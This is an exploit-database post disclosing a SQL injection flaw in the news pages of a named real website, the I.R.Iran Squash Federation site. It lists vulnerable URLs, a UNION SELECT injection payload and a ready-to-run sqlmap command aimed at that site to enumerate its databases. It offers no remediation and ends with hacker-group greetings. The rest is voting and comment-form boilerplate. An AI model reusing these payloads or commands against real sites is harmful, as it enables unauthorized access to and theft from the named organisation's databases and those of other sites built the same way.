I.R.IRAN SQUASH FEDERATION - sql injection Vulnerability

2017.07.21

Xresponse (PL)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

|=======================================================================
|Exploit Title: I.R.IRAN SQUASH FEDERATION - sql injection Vulnerability 
|Exploit Author: Xresponse
|Date : Friday - 2017 21 July
|Tested on : win 7 & Linux
|Vendor Home Page : http://squashiran.ir
|Version : 1.x.x
|=======================================================================
|Vulnerability pages:
| 1)http://squashiran.ir/news.php?id=3632
| 2)http://squashiran.ir/news.php?id=40
| 3)http://squashiran.ir/news.php?id=48
| 4)http://squashiran.ir/news.php?id=100
| 5)and all pages :D
|=======================================================================
|pof:
|in this vul An Attacker can Run SQL Methods :D
| for exp : site.com/news.php?id=-56%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--+
|---------------------
| for sqlmap: sqlmap -u "squashiran.ir/news.php?id=100" level=5 risk=3 --dbs
|=======================================================================
|SpC TnX To:G0BL1N ,cyber Tiger .
|And All Of Iranian Hackers
|Discovered By: Xresponse
|=======================================================================

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

I.R.IRAN SQUASH FEDERATION - sql injection Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.